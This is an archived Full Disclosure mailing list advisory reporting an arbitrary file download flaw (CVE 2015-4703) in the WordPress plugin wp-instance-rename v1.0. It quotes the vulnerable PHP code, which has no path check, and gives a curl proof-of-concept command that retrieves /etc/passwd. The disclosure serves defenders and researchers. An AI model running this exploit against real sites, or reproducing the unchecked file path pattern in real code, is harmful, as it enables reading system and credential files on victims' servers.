full-disclosure - [FD] Arbitrary File download in wordpress plugin wp-instance-rename v1.0

Open Source and information security mailing list archives

Message-id: <6814ADA4-7EAF-40D6-9515-F875DE6F5668@me.com>
Date: Thu, 25 Jun 2015 20:45:18 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: fulldisclosure@...lists.org
Subject: [FD] Arbitrary File download in wordpress plugin wp-instance-rename
	v1.0

Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-12
Download Site: https://wordpress.org/plugins/wp-instance-rename/
Vendor: Vlajo
Vendor Notified: 2015-06-12
Advisory: http://www.vapid.dhs.org/advisory.php?v=127
Vendor Contact:
Description: WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from one page.
Vulnerability:
The code in mysqldump_download.php doesn't check that the requested file is within the intended download directory:

try{
	$dbname   = $_GET["dbname"];
	$dumpfname = $_GET["dumpfname"];
	$backup_folder = $_GET["backup_folder"];	
}catch (Exception $e){}

if(empty($backup_folder)){
	$backup_folder="backup/";
}
echo "$dumpfname";
if (file_exists($dumpfname)) {		
	// zip the dump file	
	$name=$dbname . "_" . date("Y-m-d");	
	$zipfname = $backup_folder.$name.".zip";
	$zip = new ZipArchive();	
	if($zip->open($zipfname,ZIPARCHIVE::CREATE)) 
	{
	   $zip->addFile($dumpfname,$dumpfname);
	   $zip->close();
	}	
	// read zip file and send it to standard output
	if (file_exists($zipfname)) {
		header('Content-Description: File Transfer');
		header('Content-Type: application/octet-stream');
		header('Content-Disposition: attachment; filename='.basename($zipfname));
		flush();
		readfile($zipfname);

CVEID: 2015-4703
OSVDB:
Exploit Code:
	• curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=."  http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives